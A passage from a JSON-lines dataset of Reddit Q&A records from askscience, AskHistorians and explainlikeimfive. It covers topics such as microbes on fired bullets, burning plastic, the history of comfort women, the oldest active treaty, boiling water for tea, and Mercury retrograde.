\n\nAt the end of the trajectory, the bullet velocity will be a fraction of the muzzle velocity, and the bullet may have cooled down, so some microbes might survive any surface heating from being stuck in the microscopic texture of the bullet, or the pressure wave from the imact.  \n\nAs a thought experiment, imagine a wall traveling 3000 feet per second (approximate muzzle velocity of a rifle round) smashes into an amoeba.  Amoeba accelerates from 0-3000 fps instantly, squeezing the water out the side and rupturing its membrane, while heating it. That could kill a single cell, depending on the velocity and temperature of the round, and what type of microorganism.  \n\nWith a virus, it's hard to say. They involve less complex machinery that might be more impact resistant than larger water-filled cells.  \n\nI wrote this all without reading prior comments. I'm sure some physicists or biochemists can give a better explanation than me but anyway... very interesting question. \n\ntl;dr  yes", "Odds are that bullets under the speed of sound, the micro-organism will simply be pushed away by the force of the bullet just like a small bird being pushed out the way by the force of a truck. The reasoning behind that would be that when something cuts through air like a car or bullet there is still a tiny layer of air around the tip _URL_0_ (best exemplified by that).\nThat small layer of air will usually push substance away from the speeding organism or being (due to the low speed of the object) before it actually hits the speeding object often saving it's life. \nBut if the bullet would break the speed of sound (guns that have a fifty-caliber bullet like a Barret M107) the micro-organism will be killed. The shock alone would kill it and that little bubble won't be enough to stop it as the speeding bullet would be too fast.\n\nEdit: Forgot to mention that the heat caused by air resistance and the gunpowder igniting the bullet would instantly sterilize the bullet (killing everything in it's way)", "It seems to me that most of the posts on this thread deal with microorganisms that are already on the bullet when it is fired or are on the target. What about MO's that are in the path of the bullet? i.e. what is the effect of a large impulse on a microorganism? Would fluid dynamics simply move the MOs out of the path of the bullet as it flies by?", "Emergency doctor here, and while I don't have a particularly advanced understanding of ballistics, this is an important concept in traumatic .  Large caliber bullets (I'm actually not sure precisely at what point a bullet is considered large caliber), are significantly less likely to cause an infection than smaller ones, though any projectile increases the risk. The majority of infections caused by bullets tend to be from organisms usually present on the skin, suggesting that the bullet has dragged in small bits of skin and superficial tissue. Experiments have demonstrated that, when applied to a bullet prior to firing into live tissue, certain bacteria have a propensity to cause infections. Bacteria that form spores are more likely to remain viable after firing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/621766"], ["http://youtruth.weebly.com/uploads/1/3/1/8/1318459/504309298_orig.jpg?164"], ["http://business.highbeam.com/137753/article-1G1-94870619/boom-youre-dead"], ["http://www.ncbi.nlm.nih.gov/pubmed/2836954"], [], ["http://www.youtube.com/watch?feature=player_detailpage&amp;v=8kS5TOLRKdc#t=44"], ["http://archive.org/stream/gunshotinjuriesh00lagauoft/gunshotinjuriesh00lagauoft_djvu.txt"], ["https://en.wikipedia.org/wiki/Ultra-high_temperature_processing", "http://www.advancedimagingpro.com/print/Advanced-Imaging-Magazine/Infrared-Camera-Measures-Bullet-Heating/1$180", "https://en.wikipedia.org/wiki/Pasteurization"], [], ["http://i.dailymail.co.uk/i/pix/2009/03/26/article-0-041778A6000005DC-509_960x564.jpg"], [], []]}
{"q_id": "s53gn", "title": "What is released into the air when burning plastic in a fireplace?", "selftext": "Any kind of packaging plastic, household plastic, etc.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s53gn/what_is_released_into_the_air_when_burning/", "answers": {"a_id": ["c4b5kvf"], "score": [2], "text": ["Burning some plastics can release [Dioxins](_URL_0_) (specifically burning PVC releases [Polychlorinated Dibenzodioxins](_URL_1_)) which are toxic to humans and there is evidence of them being carcinogenic in humans also."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dioxins_and_dioxin-like_compounds", "http://en.wikipedia.org/wiki/Polychlorinated_dibenzodioxins"]]}
{"q_id": "8vcpvc", "title": "How did pin up models in the 1940s/50s do their hair and makeup?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8vcpvc/how_did_pin_up_models_in_the_1940s50s_do_their/", "answers": {"a_id": ["e1ykmzo"], "score": [2], "text": ["If you're looking for more how-to instruction, you'll want a book like Lauren Rennells's *Vintage Hairstyling: Retro Styles with Step-by-Step Techniques* and *Retro Makeup: Techniques for Applying the Vintage Look*. I haven't seen the latter, myself, but I have the former, and while I find there to be a certain modernity to most of the styles - they fit in more with present-day pin-up subculture than being accurate, common 1920s-1960s hairstyles, I mean; if you look at 1940s clothing catalogues or films or pin-ups, the hairstyles are much simpler and less sleek than Rennells's versions - it's a good place to start and might be sufficient to your needs. As far as I know, there is no modern guide on this subject that is really rigorous and an appropriate source for an answer on this subreddit. If you're the person who asked this or a similar question about a month ago, I did purchase a book on this general subject (*Hope in a Jar: The Making of American Beauty Culture*, by Kathy Peiss), but it's really focused on the culture around cosmetics as a whole and basically ends by World War II.\n\nYou may also want to go back to the source and read some books from your period of interest, if you can find copies through used book sellers:\n\n* *How It's Done ... Hairstyles for You* and *Creative Hairstyling and Hairshaping*, by Ivan of Hollywood (you have probably seen cutting/curling diagrams online from these)\n\n* *Successful Hair Styling: Structure, Function, Design*, by Robert Fiance\n\n* *Hair Styling: Structure Function, Design, Introducing the Geometric Curl Foundation*, from the Beauty Salon Guild\n\nI am also not aware of any full books on makeup written in this period, but there are articles in various 1940s-1950s photography magazines about applying makeup for models, involving contouring and the choice of proper colors. Like the hairstyling books, they aren't available online in full and would need to be found through university libraries. Try to find *The Camera*, vol. 67 (1945) or *American Photography*, vol. 44 (1950); *The Encyclopedia of Photography: A-Z* (1949) also has an article on makeup for models."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cw8s8", "title": "How truthful are the claims re. comfort women made in this recent Best Of'd post?", "selftext": "The claims in [this post](_URL_0_) are fairly shocking, and if grounded in reality would add nuance to our understanding of what happened during and after WWII. OTOH it smacks of rape apology and whitewash. \n\nI checked the post history here on this topic and it is so far light on fact, and does not address the types of claims made there. \n\nAs a side question, how do historians deal with questions like this where highly charged topics intersect with changing norms of accepted behavior?\n\nEdit: Fixed some autocorrected words. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cw8s8/how_truthful_are_the_claims_re_comfort_women_made/", "answers": {"a_id": ["cjkaj8g", "cjkttzc"], "score": [13, 3], "text": ["One thing that immediately jumps out is this assertion:\n\n >  Now what happened was that many comfort women were paid in gunpyo or Japanese military tickets. Because Japan lost the war, these gunpyo all became worthless. So understandably people feel cheated and want to be compensated.\n\n >  ...\n\n >  The Japanese side wanted to compensate individuals, but the Korean government at the time insisted that Japan give the Korean government a lump sum payment and that the Korean government will pay the Koreans. In reality the Korean government took the money and used it to fuel their economic development. So in theory the Korean government should compensate the individuals. However, they didn't.\n\n >  So to deal with this issue, the Japanese government set up the Asian Women's Fund (1995-2007) and along with an apology letter from the Prime Minister of Japan, the Japanese government gave out 2 million yen to each former comfort woman who accepted.\n\nIn other words, the poster is asserting that the Japanese government established the Asian Women's Fund because the comfort women had been paid in money that became useless after the war, and they felt cheated. This curiously avoids any mention of the material uncovered in Japanese archives by Yoshimi Yoshiaki, who discovered \n\n >  several official documents at the National Institute for Defense Studies Library in Tokyo. Contrary to Japan's previous official position, these documents revealed that the imperial army was involved in both establishing and operating \"comfort stations\" (*ianjo*). The Japanese government was compelled to finally acknowledge the involvement of the wartime imperal state in the establishment and maintenance of the military comfort women system before and during World War II. On January 13, 1992, Tokyo issued an apology.\n\nThe Japanese government only apologized and established the AWF after evidence was found that compelled them to do so. This is summarized in multiple articles on the subject, and in this case I am quoting C. Sarah Soh's article *Japan's National/Asian Women's Fund for \"Comfort Women\"* (found [here](_URL_0_)). Additionally, there is no explanation of why it took 50 years for the fund to be established (or why, if the Korean government should have compensated the women in 1965, when Japan and Korea signed a treaty, it still took 30 years for Japan to establish the fund).\n\nThere is much, much more to this, but I need to go to bed. Suffice it to say, the information in that post does not sit with the dozens and dozens of peer-reviewed works on the subject. This sub frowns on simply listing sources, so I will not do that. However, I will mention two major books on the subject, *Comfort women, Sexual slavery in the Japanese Military during World War II*, by Yoshimi Yoshiaki, and *Japan's Comfort Women: Sexual Slavery and Prostitution During World War II and the US Occupation*, by Yuki Tanaka.", "I [cross-posted that thread](_URL_1_) in /r/badhistory yesterday, and I felt caught between that and /r/askhistorians, since I could have used some help from real historians.  There were some rhetorical issues where he danced around the bulk of evidence, and I don't consider myself halfway educated on the issue, so it was hard for me to fill in the holes.  \n\nHere's my response in that post; I put in some counterexamples that I was able to dig up, but didn't try to be comprehensive:\n\nThese points contradict many accounts from all over Asia, for instance on the [Asian Women's Fund site](_URL_0_), this account by a Japanese-Korean woman:\n\n > When she was 16 years old, she went to Seoul for better employment on the recommendation of her friend who worked as housemaid for a Japanese family. Led by a Japanese, she was put on a train to go from Seoul to Tianjin, China, then from Tianjin via Peitan to Zaoqiang. There she was forced to be a comfort woman for the Japanese military.\n\nOn the issue of direct military involvement:\n\n > At 4 o'clock in the morning we took ride on a train. It stopped for two hours at Shanhaiguan at which point myself and Yoshiko attempted to escape. But the exits were blocked by military police. We were much too scared to escape from the train. We spent one night in the train and on the second day arrived at Tianjin at 11 o'clock. When we got off the train at Tianjin, fully armed soldiers were waiting for us with a truck, a coach and a jeep.\n\nThe Yoshida Seiji story has gained some currency among Japanese right-wingers who see its retraction as a confirmation that all of the above didn't happen, and that the Kono statement had no basis in fact, but the review of the statement [did not call the basic facts into question](_URL_2_):\n\n > The 1993 statement says the frontline brothels, called \u201ccomfort stations,\u201d were established at the request of Japanese military authorities, who also were involved directly or indirectly in their management and transfer of the women to such establishments. \u201cThe recruitment of the comfort women was conducted mainly by private recruiters who acted in response to the request of the military\u201d and \u201cin many cases they were recruited against their own will, through coaxing, coercion, etc., and that, at times, administrative/military personnel directly took part in the recruitments,\u201d the statement says."]}, "title_urls": [], "selftext_urls": ["http://np.reddit.com/r/japan/comments/2cu62j/japanese_newspaper_asahi_shimbun_has_retracted_stories_it_ran_on_the_socalled_comfort_women_issue_saying_they_were_based_on_a_false_account/cjj74dt"], "answers_urls": [["http://www.jstor.org/stable/40024391"], ["http://www.awf.or.jp/e3/oralhistory-00.html", "http://np.reddit.com/r/badhistory/comments/2cy7nv/comfort_women_were_only_mad_because_their_pay/", "http://www.japantimes.co.jp/opinion/2014/06/25/editorials/stop-undermining-kono-statement/#.U-RWvWR4bDM"]]}
{"q_id": "94p0ed", "title": "What is the oldest current treaty, how did it arise and what does it cover?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/94p0ed/what_is_the_oldest_current_treaty_how_did_it/", "answers": {"a_id": ["e3mzzyt"], "score": [717], "text": ["The oldest active treaty is the Anglo-Portuguese Treaty of 1373, which promises \"perpetual friendship\" between England (and later the United Kingdom) and Portugal, signed by King Edward III of England and King Ferdinand and Queen Eleanor of Portugal. The treaty itself was the first official documentation of a friendly relationship that dates to 1147, when the English helped Alfonso I retake Lisbon from the Moors while en route to the Holy Land during the Second Crusade. It was reinforced by the Treaty of Windsor in 1386, which constituted a pact of mutual aid that was sealed by the marriage between John I of Portugal and Philippa of Lancaster (Edward III's granddaughter). \n\nThe alliance established by the treaty of 1373 is the oldest still active alliance in the world. The pact of mutual aid has been activated many times in the centuries since. Most notably, Britain came to the aid of Portugal against a Franco-Spanish invasion in 1762 during the Seven Years War and again against the French during the Napoleonic Wars (an invasion that occurred because Portugal, alone of all the nations of continental Europe, refused to cease trading with Britain, in defiance of Napoleon's Continental System). This actually constituted Britain's largest terrestrial commitment for the duration of the conflict. \n\nPortuguese troops fought alongside the Allies on the Western Front in WW1. Interestingly, in WWII Britain negotiated with Portugal *not* to activate the alliance. For Britain, Portuguese neutrality was essential in helping to keep Spain from joining the Axis powers.  The official statement of the Portuguese government was that the alliance was intact but Britain had chosen not to activate the pact of mutual aid. This changed in 1943, when Britain activated the alliance and Portugal granted the Allies use of several naval bases, notably in the Azores islands, in Portuguese territory. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12lz2q", "title": "About \"boiling away oxygen\" from water when boiling water for tea", "selftext": "When making tea, the water is supposed to have different temperatures for different types of tea. However, boiling at 100 degrees C is supposed to be bad even if the water is cooled afterwards because it \"boils away the oxygen\" from the water. With this I supposed it means O2 in solution in the water. How fast does it boil away, how much is there to begin with, and how much effect can it really have for the taste of tea?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12lz2q/about_boiling_away_oxygen_from_water_when_boiling/", "answers": {"a_id": ["c6w72j6", "c6w7bpi", "c6w7xg0", "c6w8iqo", "c6wcsm6", "c6we2qo"], "score": [8, 22, 8, 14, 8, 2], "text": ["It seems that water at 70 degrees Celcius (which is the lower range for some teas) contains 4 ml oxygen in solution for 1 l of water. At 100 degrees, it contains 0. 4 ml is not much to begin with, can it really explain a difference in taste?", "In the laboratory, boiling is one of the routine ways by which we reduce oxygen  (O2) in water-based solutions.", "\nWell, we can discuss the O2 - but is that really the mechanism for a change in taste?\n\nWhat chemical process would be happening between the compounds in the tea and the O2?  Does the O2 have an effect on chemoreceptors in our taste receptor cells?  Or does it affect the perceived texture of the water itself in some manner?\n\nHowever, I think before we focus on O2, we should look at \"water.\"  Since we can say that O2 and N2 are dissolved in water - we should also address mineral content and adulterants like metals from pipes or storage tanks.  There is also salt content to consider - as some water is treated to shift mineral content.\n\nI tend to think that the energy of boiling might be precipitating certain minerals that have a negative effect on the taste.  Any organic chemists out there have some thoughts on real world water and other chemical constituents that might contribute to OPs anecdotal effect?", "There are a number of questions contained in this one question. I suggest addressing them individually.\n\n1) Does boiling water reduce the oxygen content? If so, by how much?\n\n\n2) Can dissolved O2 be tasted on its own? \n\n3) Can dissolved O2 affect how the tea steeps?\n\nThese questions are all secondary to the main question, which is whether boiling water affects the flavor of tea. This could easily be answered in any kitchen containing tea, water and a heat source.\n\nBoil water, cool it to \"tea temperature\". At the same time, heat water to tea temperature without boiling. Make tea. Taste tea. Observe whether there is a difference in taste. You might want to blind yourself (not literally) to reduce bias. Give it a shot, report back.", "I have been meaning to ask this question to AskScience for a while so I'm glad to see it asked but I'm disappointed by the unusually large amount of laymen speculation here and lots of \"answers\" with a total lack of links to any references. I've researched this extensively in the past (and [talked about it in /r/tea before](_URL_0_)) but I have never found a scientifically sound answer. Unfortunately \"tea\" circles are so full of pseudoscience that every time this topic comes up the thread becomes rife with anecdotal evidence or someone going on a rant about how boiling water reduces the life force of the water and drains your qi.\n\nThere are three major statements that are found regularly in tea literature:\n\n1) That water tastes different if it is heated to, say, 80\u00b0C directly from room temperature vs. boiled to 100\u00b0C and then left to cool to 80\u00b0C;\n\n2) That re-boiling water that was already boiled (i.e., left in the kettle for an hour and re-boiled) tastes much worse than boiling \"fresh\" water, and;\n\n3) That \"overboiling\" water (i.e., leaving it on a rolling boil for, say, 30 seconds) effectively \"ruins\" the flavour of the water.\n\nWhen pressed, the reason usually given is due to de-oxygenating the water, but on occasion people will claim it's due to a change in dissolved minerals, absorption of BPA and other \"chemicals\" from the kettle, or the aforementioned draining of qi life force crystal quantum power. Basically, people make something up, but then state that the (anecdotal) evidence of the difference in taste is \"obvious\" to any \"real\" tea drinker.\n\nDoes anyone here have insight into real, genuine research on water taste that could help? Given how important water taste and quality must be - from municiple water supplies to the bottled water industry - I find it hard to believe that there isn't hard research into water taste that could help settle the argument.\n\nIf this thread comes up empty I'm going to be forced to round up every tea snob I know and subject them to a gruelling day of double-blind testing of every combination of underboiled, overboiled, and cross boiled water imaginable.", "This is slightly off topic but this post reminded me of this article from 2003 [**Oil and water do mix after all**](_URL_0_).  \n\nFTA:  If you first remove any gas that is dissolved in the water, it will mix spontaneously and even stay that way indefinitely, according to chemist Ric Pashley of the Australian National University in Canberra.\n\n\"Many scientists are going to find this very hard to believe,\" says colloid scientist Len Fisher of the University of Bristol in England, \"but Pashley has provided very strong proof that oil and water will mix.\" Pashley's observation is bound to cause controversy as the reason it happens is still unclear. Chemists are waiting to see whether the experiment can be repeated.\n\nIf confirmed, the finding could provide clues to one of chemistry's most puzzling phenomena. This is the so-called long-range hydrophobic force, which causes oil surfaces to attract one another over what to chemists are remarkably long distances.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.reddit.com/r/tea/comments/ply4r/my_blog_post_on_water_in_tea_including_an/c3qv9nb"], ["http://www.newscientist.com/article/dn3408-oil-and-water-do-mix-after-all.html"]]}
{"q_id": "11gt8u", "title": "Why is Felix Baumgartner's balloon swelling?", "selftext": "It seems to be getting larger as he gains altitude.  Is this expected?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11gt8u/why_is_felix_baumgartners_balloon_swelling/", "answers": {"a_id": ["c6mc69r", "c6mc6m8", "c6mc8hw", "c6mcf7y"], "score": [8, 8, 4, 4], "text": ["Yes. Pressure outside the balloon is dropping.  You can see same thing going reverse if  you put balloon under water, it shrinks. ", "The air in the balloon expands as it ascends to lower pressure.", "As the balloon rises through the atmosphere the outside air pressure drops significantly. On the website you can see that the current outside pressure is around 0.36 psi. At sea level the air pressure is somewhere around 15 psi. So on the ground there is roughly 15 psi pushing in on the balloon squishing all the gas. As it rises this pressure is relieved and the gas expands and fills up the balloon.", "If you take a look at the [Ideal Gas Law](_URL_0_), PV = nRT, you'll see that as pressure (P) decreases, volume (V, ie. size of the balloon) must increase to keep the right side of the equation constant. \n\nThe temperature, however, is not a constant, and will also effect the size of the balloon, but I don't know enough about high altitude temps so somebody else will have to chime in on that one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Ideal_gas_law"]]}
{"q_id": "1o7i6g", "title": "How is the sound produced when whirling a rope at high speed?", "selftext": "Is it because of standing waves produced?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1o7i6g/how_is_the_sound_produced_when_whirling_a_rope_at/", "answers": {"a_id": ["ccpvx14"], "score": [5], "text": ["The effect is most likely causes by Von karmen vortex shedding.  Here is a similar line of questioning with some answers.\n\n_URL_0_\n\nIn effect, the Von karmen vortex shedding could be applying a cyclic force upon the cylindrical rope in relative motion the the air, causing the rope to begin vibrating resonantly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://physics.stackexchange.com/questions/1205/how-does-a-steady-wind-flow-generate-sound"]]}
{"q_id": "3kf4jv", "title": "Why does a chord sound minor or major?", "selftext": "Why is a major chord major?\nWhy does a major chord sound \"correct\"", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3kf4jv/why_does_a_chord_sound_minor_or_major/", "answers": {"a_id": ["cux3hfu"], "score": [3], "text": ["A [major chord](_URL_1_) is one in which the 3rd interval, is two whole steps from the root (4 frets on a guitar).  A minor 3rd is a whole and a half step above the root (3 frets on a guitar).  A chord is labeled minor or major based on the interval of the tonic to the 3rd and it's a statement of chord quality.   A chord is constructed from three or more notes and most commonly as the root (or tonic), the 3rd interval and the 5th interval.  The 5th interval is the most consonant interval with the root other than the octave (the same note as the root played higher or lower) and provides stability to the chord.  This leaves the 3rd interval which is what gives the chord a major or minor quality.  [Intervals](_URL_2_) also have major/minor qualities associated with them such as a minor/major 2nd, or a minor/major 6th and there are other types of interval qualities known as 'perfect' such as the perfect 4th.\n\nIt doesn't really sound 'correct' per se.  It's what we're tuned (no pun intended) to hear.  Additionally, it's not trivial to instantly recognize the difference between a major or minor chord from hearing it and usually requires ear training to perfect the skill.  For a more detailed answer, check out [this](_URL_0_) answer from the very knowledgeable people on /r/musictheory.  Also, check out [this](_URL_3_) for a mathematical description.  \n\nTLDR; it doesn't, it's our interpretation or a generalization in order to classify.\n\nEdit: More information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/musictheory/comments/1ihc5e/faq_question_why_do_major_chordsscaleskeys_sound/", "http://www.guitarnoise.com/images/articles/557/1.gif", "http://www.guitarnoise.com/images/articles/470/1.gif", "http://www.marktaw.com/b/music/why_the_major_chord_is_happy/"]]}
{"q_id": "n9mrz", "title": "why is there no butter available in norway?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/n9mrz/eli5_why_is_there_no_butter_available_in_norway/", "answers": {"a_id": ["c37czzg", "c37ghga", "c37gw2d", "c37czzg", "c37ghga", "c37gw2d"], "score": [4, 3, 3, 4, 3, 3], "text": ["_URL_0_\n\nLed me to this (which explains it very simply):\n\n_URL_1_", "Sounds like paula dean's personal hell.", "1. There has been a very bad summer and autumn with lots of rain and soaked soil. Less growth of grass. Also much more mold and bad harvest.\nThe worst year for agriculture since 1930ies. (Nearby countries such as Sweden has the same problem, but not so bad.)\n\n2. Low-carb-diets has suddenly become mainstream.  Also in the news are medical concerns of trans-fat and coconut fat. This has led people to want more natural and traditional sources of fat.  \"Butter is not unhealthy anymore.\"\n\n3. In the last decades there was overproduction of milk, and especially butter.  There has therefore been a system of quotes to reduce production.  Agricultural organizations has been very slow to see the changing situation and implement changes.\n\n4. Newspapers has written a lot about \"the looming butter crisis\"\n\n5. There is empty shelves of a popular butter-based product in some stores.  People panic.  People start stockpiling butter, buying for several months, emptying all other stores nearby. This spreads.", "_URL_0_\n\nLed me to this (which explains it very simply):\n\n_URL_1_", "Sounds like paula dean's personal hell.", "1. There has been a very bad summer and autumn with lots of rain and soaked soil. Less growth of grass. Also much more mold and bad harvest.\nThe worst year for agriculture since 1930ies. (Nearby countries such as Sweden has the same problem, but not so bad.)\n\n2. Low-carb-diets has suddenly become mainstream.  Also in the news are medical concerns of trans-fat and coconut fat. This has led people to want more natural and traditional sources of fat.  \"Butter is not unhealthy anymore.\"\n\n3. In the last decades there was overproduction of milk, and especially butter.  There has therefore been a system of quotes to reduce production.  Agricultural organizations has been very slow to see the changing situation and implement changes.\n\n4. Newspapers has written a lot about \"the looming butter crisis\"\n\n5. There is empty shelves of a popular butter-based product in some stores.  People panic.  People start stockpiling butter, buying for several months, emptying all other stores nearby. This spreads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.google.com/search?gcx=w&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=no+butter+in+norway", "http://www.ukdebate.co.uk/forums/index.php?topic=21988.new"], [], [], ["http://www.google.com/search?gcx=w&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=no+butter+in+norway", "http://www.ukdebate.co.uk/forums/index.php?topic=21988.new"], [], []]}
{"q_id": "3dop5e", "title": "How is the nervous system affected by exercise, and how does the nervous system recovery?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dop5e/how_is_the_nervous_system_affected_by_exercise/", "answers": {"a_id": ["ct7ir5b"], "score": [3], "text": ["I can't give you the exact response you're looking for but i do know that within the first few weeks of an exercise program you see a huge increase in the efficiency of your nervous system in regards to the type of exercise you're doing rather than any physical improvements (which i imagine alot of people would get confused with). For example you might see somebody struggle with 5 pushups day 1 and day 7 they can push out 15, rather than the person physically have improved strength, the nervous system has just improved the neural pathways associated with completing that task."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2bu6cb", "title": "How do epiphytes obtain minerals if they are not rooted in soil?", "selftext": "I know that epiphytes are plants like mosses and orchids that utilize other plants for structural support in a non-parasitic way. They attach to plants, sometimes with roots, but do not leech nutrients. Most get their moisture from air or the damp area around them. But, I am wondering how they get the other minerals they need beyond the energy derived from photosynthesis. Other plants take minerals from the soil around them, but how does a plant without soil do this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2bu6cb/how_do_epiphytes_obtain_minerals_if_they_are_not/", "answers": {"a_id": ["cj93pfm", "cj96s8g"], "score": [2, 2], "text": ["Epiphytes are diverse, and they have different strategies based on exactly how they live.  Some actually occupy spots in a tree where there is enough leaf litter to be akin to soil.  And some are designed to actually capture falling leaves and absorb nutrients from them.  And many have aerial roots that can actually absorb nutrients from the air via [valamen](_URL_0_) ", "As others have stated, some epiphytes will get nitrogen from bacteria or fungi that fix N2 from the atomosphere.  But for the most part, epiphytes rely on atmospheric deposition for mineral nutrients.  Dry deposition (including ions as vapor in the air) will provide sulfur and nitrogen, mostly as nitrate but also as ammonium and nitrite.  Wet deposition knocks fine dust/soil particles out of the air and onto / near the plant.  This is the source of most minerals -- K, P, Fe, Mg, Ca, etc.  I've heard it suggested that the ability to collect dust/minerals is the stronger selective force for many tropical epiphytes to have water-collecting leaf morphology since it's humid enough that they're not experiencing high transpirational losses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Velamen"], []]}
{"q_id": "36ogzo", "title": "What would happen to my body if I was put in 0 Kelvin for a fraction of a second - like 1 billionth of a second?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36ogzo/what_would_happen_to_my_body_if_i_was_put_in_0/", "answers": {"a_id": ["crfprwk", "crful82"], "score": [16, 7], "text": ["Nothing interesting. Temperature differences matter, but so does heat transfer. Being teleported into pure vacuum (with no CMB) would still take several hours to kill you without insulation (assuming a pressure suit and air). Being teleported into a tub of ~0 K liquid helium would kill you within a second or two, but if you're only there for such a small fraction of time, you'll be okay.", "Assuming you are put in a vacuum, using the Stefan-Boltzmann law, the amount of thermal energy lost to the environment would be E = (\u03c3T^(4))(A)(t), where \u03c3=5.67*10^(-8)W/m^2 is the Stefan-Boltzmann constant, T=300K is your body temperature, A=2m^2 is the surface area of a human body, and t=1ns is the exposure time. Given these parameters, you'd lose about .6\u03bcJ of heat, about the energy a lightbulb gives off in 10ns. You'd need to be in the vacuum for a long, long time before you died from cold; it's more likely you'd suffocate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kxxl8", "title": "what shenanigans were the bankers in this article up to? \"the confidential memo at the heart of the global financial crisis.\"", "selftext": "Could someone explain this article in a manner that I might be able to more easily digest? Probably more ADD on my part, but I got lost while reading it. Can someone dumb it down for me?\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kxxl8/eli5_what_shenanigans_were_the_bankers_in_this/", "answers": {"a_id": ["cbtqxf4"], "score": [2], "text": ["Ok, lemme give it a shot. \nThe memo the article refers to is proof that several influential bankers were working together to change the rules of the game. As a matter of fact, the goal was basically to not have any rules at all anymore. First of all, they attacked the Glass-Steagall Act, a law made in 1933 after the big Wall street crash to avoid rampant speculation that led to the 1929 disaster. They managed to take this hurdle in 1999. This was a necessary step allowing the banks to create 'superbanks'. What I mean with that is that these are banks that use money from regular folks and invest it in financial products, companies, etc... without much limitation. \n\nNext up was derivatives trading. A derivative is product made up of lots of small parts of other products. Let's say you have 10 houses. You pack their worth together and name it pack Houses. Another bank has 2 banana plantations. Let's name it pack banana. Now, what you can do is take a piece, say 10% of each pack, put them together and create a new pack : Pack Derivative. The reason why this gets very complicated very fast is because you can create derivatives of derivatives and so on and on and on. What this means is that they would be allowed to sell whatever they wanted, package it, repackage it, and so on and sell it to people who have no idea what they just bought (which is actually EXACTLY what happened). \nBUT,  in order for this to work the entire world needed to participate because this would cause a very unstable situation. So, the bankers pressured the World trading organisation WTO to accept this. They bullied each nation into accepting, except for China who got a really sweet deal and Brazil who flatly refused to be bullied. \n\nThe reason why this memo is such a bombshell is because this is where the current financial crisis originates. It never would have happened without this.\n\nHopefully you're a smart 5 year old. \n"]}, "title_urls": [], "selftext_urls": ["http://www.vice.com/en_uk/read/larry-summers-and-the-secret-end-game-memo?fb_comment_id=fbc_205190149647105_590033_205427662956687#f1d1298d9bc7f4c"], "answers_urls": [[]]}
{"q_id": "7qcuqr", "title": "In both the movies \"1776\" and \"Lincoln,\" people bang on their desks to indicate agreement. When and why did this tradition die out in the U.S.?", "selftext": "In \"1776\", the Continental Congress bangs on their desks as if to say \"Hear, hear!\" or to applaud.  They do the same in the cabinet meetings in \"Lincoln.\"  I've never seen this happen in a modern political debate or as far as I can remember, any other context.  When did this die out?  Are there notes at some period of people saying it was uncouth or something?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7qcuqr/in_both_the_movies_1776_and_lincoln_people_bang/", "answers": {"a_id": ["dsr47nx"], "score": [2], "text": ["To answer the first part of your question. It\u2019s a essentially a substitute for applause in British Parliamentary Style Debate rooted in the British House of Commons procedures where the audience banging on their desks while someone is giving a speech is a sign of agreement and lets the speaker know which points are resonating with his audience. The speakers have limited time so by the audience knocking on their desks it gives the speaker a que on which information is resonating. Alternatively for the audience to express displeasure you can call out, \u201cShame!\u201d or \u201cFor Shame!\u201d usually if the speaker makes an immoral or unethical claim during debate although etiquette requires you not to heckle excessively and you can be removed if you are being excessive.\n\nIt is still used both in Parliamentary Style Debate and Lincoln/Douglass Style Debate, which are the two major forms of debating taught in American university classes and debate leagues. It\u2019s also still used in the British House of Commons to this day.\n\nI will ask my Professor as to when it died in American politics when I go to my Argumentation and Debate class on Wednesday. We are currently learning the history of Parliamentary Style Debate. If that doesn\u2019t qualify then I can source my texts when I get home.\n\nTL;DR: Americans got it from the British who use it in the House of Commons as a substitute for applause/agreement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3lcdwd", "title": "what do people mean when they say \"mercury is in retrograde\"?", "selftext": "I guess both literal and figurative. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lcdwd/eli5_what_do_people_mean_when_they_say_mercury_is/", "answers": {"a_id": ["cv52ote"], "score": [42], "text": ["a few times a year, the planet mercury will appear to stop and move backwards. it's not actually doing so; it's just an illusion. \n\nfiguratively speaking, people used to be extra cautious during this period in which mercury appeared to be in retrograde. in roman mythology, mercury was the god of business and communication, so it's easy to figure why people always were superstitious during this event."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
